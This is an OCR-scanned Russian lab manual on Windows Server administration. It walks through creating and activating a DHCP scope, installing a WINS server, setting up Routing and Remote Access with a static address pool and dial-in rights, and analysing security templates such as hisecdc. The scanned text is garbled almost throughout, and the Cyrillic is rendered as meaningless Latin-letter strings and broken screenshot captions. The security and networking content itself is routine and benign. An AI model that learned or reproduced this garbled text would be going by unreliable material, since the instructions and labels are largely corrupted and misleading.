1. 3anmycture koHcoub yrpasiennss DHCP.
2.B 51eBOil 4acTH OKHAa KOHCOJIM IIEJIKHUTE MPAaBOM KHOIKOW MBIIIM IO CEPBEPY
server.develsoft.local u u3 kKoHTEeKCTHOrO MeHIO BbIOepUTEe KomaHay Co3aaTh
odaactb. [lo 310l KOMaHzae 3amycTurcs Macrep co3ganust obiactu. Haxxmure

Hanee.

426



3. B mmanmoroBom oxHe Mmsi 06jacTH BBeauTE Ha3BaHWE OOyacTu (Hampumep,
«KScopel>>) u ee ommcanwe (MOXHO OCTaBUTh MO yMoidaHuioo). Haxmwure
Jlanee.

4. B nuamoroBoM okHe Imama3zon IP-aapecos Beenute B nosie Havanbubiii 1P-
ajJipec TEPBBIN HE3aHATHIA ajpec B Ballel mojaceTu (Hampumep,192.168.1.1), a B
nosie Koneunslii IP-agpec — 3nauenne 192.168.1.254.

[Tonst Macku OyyT 3aMOJHEHBI IO YMOJTYAHUIO TEKYIIe MacKOM ceTd (B HallleM
ciydae 24\255.255.255.0). Haxxmute /ladiee.

5. B mmanoroBom oxHe JloOaBjieHHe HCKJIIOYEHHH OCTaBbTC BCE 3HAUCHUS
nycThIMU U Haxxmute laJiee.

6. B guamoroBom okHe Cpok AelCTBHA apeH]bI aJpeca OCTaBbTE 3HAYEHUE TIO
yMOJIYaHHI0 U Haxkmute Jlasiee.

7. B nmmanoroBom oxHe Hacrpoiika mnapamerpoB DHCP BroiGepure a,
HACTPOMTH 3TH MapaMeTpsl ceifuac u Haxmute Jdasee.

8. B nuanoroBoM okHe MapumpyTuzatop (0CHOBHO# HLJIK03) HE BBOJUTE HUYETO, a
Haxmute Jdasnee.

9. B gumamoroBom oxHe HWmsa gomena u DNS-cepBepbl ocCTaBbTE TMOJIE
Poautenbckuii JoMeH mycThiM, a B iosie |P-aapec BBeaute ampec 192.168.10.2.
3aTeM Ha)KMHUTE KHOIIKY /[00aBUTH M IPOIOIHKUTE HAaXaTheM KHONIKU laJiee.

10. B muamoroBom okHe WINS-cepBepsl, eciu Bbl yctanoBwin cepep WINS nHa
SRVRO001, BBenute B mone IP-aapec ampec 192.168.10.2 u HaxMuTE KHOIKY
ob0aBurh. Haxmure Hasee.

11. B nauasoroBoM OKHE AKTHBHPOBaTH 00JacTtb oTMeThTe mnosiec Her, s
aKTHBHPYIO 3Ty 00J1aCTh M03:Ke U HaxMmute [dasiee

12. 3aBepuiute paboTy MacTepa HakaTheMm Ha KHONKY I'oToBo.

IIpoBepbTe, MPaBHIIBHO U BhI 3aJaId mapameTpsl 001actu, mo koncosm DHCP

(puc. 14)
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* B crucke Ilya agpecoB Bbl TOKHBI YBUAETh BBEICHHBIM Auarnas3oH IP-agpecos
(192.168.1.1 no 192.168.1.254).

* B cnuckax ApenioBanHble agpeca u PesepBupoBaHue HE TI0JDKHO ObITh
HU OJTHOT'O 3HAYEHHS.
* B criucke [MapaMeTpsl o0J1acTH 10KHO ObITH Tpu napamerpa: 006 DNS-

cepBepbl, 044 WINS\NBNS-cepeepbi u 046 Tun y3aa WINS\NBT.

2 pHCP

=10] x|
KoHoone  JeWcTEME  BMA  Cnpaeka
&= BH EBER D
@ CHCP MapaMeTpbl 0BRACTH
- &) 966044e9a8f24ch. develsoft loc y . :
Cl Ofinacts [192.168.0.0] Sco MA NSpAMETRS EHA0p HaYEHHE
ED OBnacte [1592.168.1.0] Sco 006 DS Servers DBEMHOE 192,163.1.1
3 Nton aapcos B 044 WINSNENS-cepeept: OfibI4HOE 192.168.1.1
E@ ApEHACEAHHEIE 3ApECa ﬁﬂ-ﬂrﬁ THn wana WINS/MET CAkIMHOE (IFa]
~[Bl PesepEHpOBaHHE
@ MapamMeTpel 0ANacTH
CE MNapaMeTpel CepEepa
« | DIk | 2

Puc. 14. TTapametpsl o61actu, o koucoian DHCP
Ecnu Bce B mopsigke, MOXKHO MPOBECTU akTUBaIuio ooaactu. lllenkuure npapoit

KHOIIKOW MBI TI0 oOjacTu <<KSCOpel>> B JeBOMl YacTH OKHA KOHCONHM W W3
KOHTEKCTHOT'O MEHIO BBIOCPUTE KOMaHAYy AKTHBHPOBaTH. [lociie ee BBITTOJHCHHS W3

METKHU 00J1aCTH MCYE3HET KpaCHas CTPCIIKA, OTMCUAIOIAsA HCAKTUBHBIC o0acTu.
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A9 pHCP

Kohoone  JedcTede  Bua  Crpaeka

«» BEXERR 2B

@ CHCP 966044e9a8f24ch.develsoft.local [192.168.0.1]
= i) 906044e9a8f24ch develsoftloc
(] Ofinacts [192,168.0.0] Sco
(] Ofimacre [192.168.1.0 Sco

----- [ NapaweTpel cepeepa

i_oaepwnmoe DHCP-cepeepa (OCTOAHME {rMcaHHe
_J06nacTs [192.168.0.0] Scopet ¥ Brctueo **

(OfinacTe [192,168.1.0] Scopel ¥ BrTreHo **
|_FMapanerpe cepeepa

1 i | A

Puc. 15. O6nacts <<Scopel>> aktuBupoBaHa

3aganmne Ne 4. Yemanoeka u nacmpoiika cepeepa WINS

Heau pa6orel. M3yunTs poriecc ycTaHOBKH 1 HacTpoiku cepBepa WINS.

Ynpasicnenue 1. Yemanoeka cayyncoor WINS

YcranoBute B cucteme ciayxk0y WINS:
1. Knonka "IIyck" — "Ilanens ynpaBnenua" — "YcTaHOBKaA U yAaneHUE MPOrpaMm’”
2.Knomnka "Ycranoka komrnoneHToB Windows" — Bribepute "CereBbie Ciyx0Ob1"
3.Knomka "Cocras" — Bribepute "WINS" — Knomnka "OK"
4.Knomnka "Jlanmee" (ecmu HE0OOX0IUMO, YKAXKHUTE MYTh K TUCTPUOYTUBY CUCTEMBI)
5.Knomnka "T'otoBo"

Ynpasicnenue 2. Hacmpoiika kauenmckoit wacmu npomoxona TCP/IP na

ucnonav3osanue cayxycoot WINS

Hactpoiika cepBepa kak kiueHta ciaykObl WINS cocTtouT u3 criemyrommx

OTaIlOB:
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1. BezoBure okHO cBoWcTB Iloak/oueHHe MO JIOKAJBLHOW CeTH U OTKPOWTE
cpoiictBa IIporokos cetu Unutepuer (TCP\1P).
2. B nuamoroBom okue Iporokos cetu Unrepuer (TCP\1P) — cBolicTBa HOXMUTE
kHonky JlomonnuresbHo u 3atem Ha Bkiagke WINS nHaxMuTe Ha KHOMNKY
Jlo0aBUTH.
3. Beemgute I[P-ampec cepsepa SRVRO001 (192.168.10.2) u HaxkaTueM Ha KHOMKY
Jlo6aBuTh 100aBbTE €ro. 3aKporTe IUAJTIOTOBOE OKHO HaXkaTheM Ha kiapunny OK.
4. 3akpoiTe BCE TUAIOTOBBIE OKHA.

Ynpaoicnenue 3. Ananus zanuceit, 3apecucmpuposannvix cayxcoon WINS.
1. OTkpoiiTe KOHCOJIb yrpaBieHus ciry>x00it WINS
2. Packpoiite nH(pOpMaInio 0 BalieM cepBepe
3. lllenkauTe TpaBoi  KHOMKOW  MBIIK  HA "Axkmusnvle  pecucmpayuu' —

"Omobpazums 3anucu” — Knonka "Hatimu"

4. Beibepute MbIIbio "AxkmugHuvle pecucmpayuu”

5. Mzyuure 3anucu ceepa WINS

3amaaume Ne 5. Ycmanoexa u nacmpoiika cayrrcoot mapwupymuzauuu u

vdaﬂermozo 00cmvna, HACMPOUKA __ KITUEHMCKUX nodmmuenuﬁ, ynpaejienue

oocmynom uepes Active Directory u ROAUMUKU CAYHCOBL MAPUWPYMU3AUUU U

YOA1eHH020 00CMYRA

Hean padorbl. 3yuyuTh yCTAaHOBKY U HACTPONKY CIYKObI MapHIpyTH3alUU U
YAAJEHHOTO JOCTYIA, HACTPOUKY KIMEHTCKUX IMOJKIIOUYEHUH, HACTPOUKY IOJUTHUK
CITyObI MapIIPYTU3ALUU U YIAJIEHHOTO JOCTYyTA.

Ynpaowcnenue 1. Brnrouenue u Hacmpouika cayxyucobl mapuipymuzauyuu u
YOanieHnoz2o oocmyna .
1. Otkpoiite KoHCONDb "Mapwpymuzayus u yoanenusiii oocmyn":
Kunonka "Ilyck" —"Bce npoepammol” — "Aomunucmpuposarue” —
"Mapwpymuzayus u yoanrenHvitl oocmyn”

2. 3amycTUTe MacTep HACTPOUKH CITY>KOBI:
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a) lllenxHyTh MpaBO¥l KHOIIKOW MBIIIIM HA IMEHU CepBEpa
b) Beiopats "Hacmpoums u eKitouums mapupymuzayuio u yoaieHusii oocmyn”
¢) Kuonka "/lanee"
d) Beibpats "Ocobas xongueypayus" — Kuaonka "/anee"
e) BriOpath Bce cimyx0b1 — Knomka "/[anee”
f) Kuonka "I'omoso”
g) Kuomnka "/la" (cuctema nmpou3BeAET 3aIyCK CITyKObI)
Ynpasicnenue 2. Hacmpoiika napamempos cepeepa u Hacmpoilka paspeuienuil
Ha nookaueHue K cepeepy uepes Active Directory.
Hacrpoiite mapameTpsl ceppepa:
1. Konconb "Mapwpymuszayus u yoanenuoiti oocmyn”
2. llenxkHyTh mpaBOil KHOMKOM MBI Ha UMeHH cepBepa — "Cegoticmea"” —
3axmanka "IP"
3. BeiOpats "cmamuuecxuii nyn aopecos" — Kuonka "/Jobasums"
4. "Hauanwvnwiti IP-adpec” — BBect 192.168.NNN.1
5. "Koneunwiti IP-adpec” — BBectr 192.168.NNN.10 — Knonka "OK”
Ilpumeuanue: napamerp NNN — 3 nocnennue mmudpsl [P-aapeca Bamiero cepsepa;
Pazpemnre  monb3oBaTento "Aomunucmpamop” NONKIIOUEHUST K CIy»K0e
yIaJeHHOTO JOCTYTa:
1. Koncous "Active Directory - noavzoseamenu u komnviomepol”
2. CoiicTBa nosb3oBatens "Aomunucmpamop”

3. 3akmanka "Bxooawue 36ouku” — Breidopats "Paspewums docmyn" — Knonka "OK.

3aganue Ne 6. Hacmpouxa napamempoe oezonacrnocmu (Illadaont

oezonacnocmu, Ananusz u HACMPOUKA 0e30NACHOCMU)

Hean padorbl. M3yunts mpumeHnenue ocHactok "Illabnonvr b6ezonachocmu”,
"Ananuz u Hacmpoiika 6OezonacrHocmu” IS aHAIW3a M HACTPOUWKH TapaMeTpoB

0e3omacHOCTH cepBepa.
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Ynparxnenue 1. Cozoanue konconu ¢ ocnacmkamu "Illadaonst
oezonacnocmu'’, "Ananuz u nacmpoiika 6ezonacnocmu’"’
1. OtkpoiiTe HOBYIO KOHCOIb mmc Knonka "Ilyck” - "Beinonnums" - BBegure "mmc”
- Knonka "OK"
2. Jlo6aBrTe ocHacTku Menio "Koncomp'" -
Brei6epute "/[obasume unu yoarume ochacmky” -
Knonka "/[o6asumus" -
Bribepure "Illabnonsr 6ezonacnocmu” -
Kuonka "Jobasums" -
Bri6epurte "Ananuz u nacmpotika 6ezonacnocmu’” -
Kuonka "Jobasums" -
Knonka "3axpeims” -
Knonka "OK"
Ynpaowcnenue 2. U3yuenue cmanoapmmuvix umad10n06 de3onacnocmu
1. Otkpoiite ocHactky "[llabnonwvt 6ezonacnocmu”
2. 3yunTe mmeromuecs B CUCTEMEe CTaHAapTHHIC MabmoHbl. OOpaTuTe BHUMaHUE Ha
11a0JIOHBI:
hisecdc
securedc
setupsecurity
3. U3yuute B mabiioHax pas/iesbl:
o Tlonumuxu yuemuulx 3anuceu
« [lonumuka naponeu
« [lonumuka 6I0KUPOBKU YUemHOU 3anucu
o Jlokanbhvie norumuxu
= [lonumuka ayouma
» Hasnauenue npas nonvzosameis
« [lapamempul 6e3onacnocmu

o KypHnan coovimuii
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'fii Koncone1 - [Kopenb konconu'Wabnotbl besonacHocTy] -2 x|

B Kowcone  JdeficTene  Bua  MsBpankos  OkMo  Crpaska |;|i|ﬂ
«= | Bm B2
D KopeHe KOHCONK Lima | CIMHCaHHE |
E@ LLlafnoHE! BEs0NacHOCTH & C:iwINDOWS securitytempl ..
28 CWINDOWS securitytemplates
[#-] i@ compatws
[+, DiZ security
[+ & hisecdc
[+ & hisecws
-] & iesacls
[+ @& rootsec
-] @ securedc
-] i securews
[#-] @ setup security
EEI---@ AHANME M HACTPOMKa GE30NaCHOCTH

4] |+
| |
tﬁ'l‘lycul J # @ J _B ¥MpaeneHHe AaHHeIM Ce. ., ”Bﬁ KoHconb1 - [KopeHs k... J | 747

Puc. 16. Oxno «I1labioHa 6e30macHOCTH

Ynpasicnenue 3. Cozoanue 06a3vt Oanublx 017 aHAIU3A U HACMPOUKU
0e3onacnocmu
Coznaiite HOBYIO 0a3y TaHHBIX:
1. B neBoii wyacTh OKHa HOBOM KOHCOJM BBIOGPUTE OCHACTKY "Ananuz u
Hacmpotika bezonactocmu”
2. Menw "/[eticmsue" -
Bribepute "Omxpoims 6a3y danuwix" -
VYkaxkutre ums 6a3bl JaHHBIX (Hampumep, H/]) U myTh sl COXpaHEHUs: Oa3bl
(mampumep, C:\mou moxymenTsi\Securiti\Database) -
Kuonka "Omkpoimsy " -

Bri0epure 1rabiion 1t ummnopra (BeioepuTte madson hisecdc.inf -
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mabJIOH KOHTPOJUIepa JOMEHA ¢ BRICOKUM YPOBHEM 0€30MMacHOCTH) -

Knonka "Omxkpeims"

Ynpasicnenue 4. Ilposeoenue ananuza nacmpoek 6ezonacnocmu
[IpoBeanTe aHaIU3 HACTPOECK CUCTEMBI 0€30MMACHOCTHU BaIlIEr0 KOMITbIOTEPA:
1. B neBoii yacTh OKHa HOBOM KOHCOJM BBIOEpUTE OCHACTKY "Ananuz u
Hacmpotika bezonacnocmu”
2. Menw "/[eticmsue" -
Bribepure "Ananuz xomnvromepa" -
Ykaxure myTh K Qainy kypHana ommbOok (Hampumep, C:\Mow JOKYMEHTBHI
\Securiti \Database) -
Knonka "OK"
3. M3yuute pe3ynbTaThl aHAJIN3a HACTPOEK OE30MaCHOCTHU:
B ocnactke "Ananuz u nacmpoiika 6ezonachocmu” IPOCMOTPUTE Pa3EibI
o Tlonumuxu yuemuuix 3anuceti
» [lonumuka naponeu
« [lonumuka 610KUPOBKU YUemHOU 3anucu
o Jloxanvuvle norumuru
« [lonumuka ayouma
= Hasnauenue npae nonvzoeameis
« Ilapamempul 6e3onacrnocmu
o Kypnan cobvimuii
B kaxaoMm pasznene cpaBHUTE 3HAYCHHs MapaMeTpoB 0a3bl JaHHBIX (T.e.
BHIODAHHOTO BaMHU CTaHJAPTHOTO I1a0joHa OE30MacHOCTU) U 3HAYEHUS
COOTBETCTBYIOIIMX MapaMeTPOB BaIllEr0 KOMITbIOTEpA.
Haiipure pasnnuus B HaCTpOMKax.

4. 3akpoiTe KOHCOJIb
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[KopeHb KOHCONWY AHANWE W HACTpOHKa bezonacHOCTH]

=l8]x|
=151 ]

E’] KoHoone  Aeficteve  Bwa  WMsbpanHoe  OkHo  Crnpaeka
= | BE B2
[:l F.opeHe KOHCOnK (55| | CINHCaHKe |

LWabnoHe! Bez0nacHoCTH

MonKTHEES Naponed
MonMTHEES BROEMPOEKK YUETH
MonuThiEa Kerberos
[—]ﬁ NokaneHEIE NONMTFEK

i

MonnTHEa avanTa

HazHaqeHHe Npag NoNL30EATE
-zl MapameTpel BE30NACHOCTH

----- ﬁ W ypHan cobeITHA

[]--@ [pyNnel © OrpaHHYEHHEIM 40CTYIC

[]--@ CHCTEMHEIE CRy Ok

w28 Peectp

28 dafinoean crotemna

@I‘Innnmm WHETHED: SaMHCER
ﬁﬂnKaanble NOAMTHIH
ﬁﬂ(ypHan CobkITHA

[C8rpynne! c orpanm-enHEmM oc. .,

(B CucTemHbe cnywbel

[}Peecw

[(@daiinosan cnerema

MOAMTHIEK Naponed 1 DADKHMPOBKK YHETHEL ZanHCel
MONMTHIK 3 AMTa, NPaE NONB30ESTENEA M Napat. ..
HypHan cobkITHA

TPYMMEl C OFPaHMHEHHEIM 40CTYMOM

MapareTpkl CHCTEMHON Cybs!

MapateTpel BE30NacHOCTH PEECTRA

MapameTpel BE30NacHOCTH GEinos

Puc. 17. OkHO «AHanu3 1 HacTporiKa 0€30MaCHOCTH
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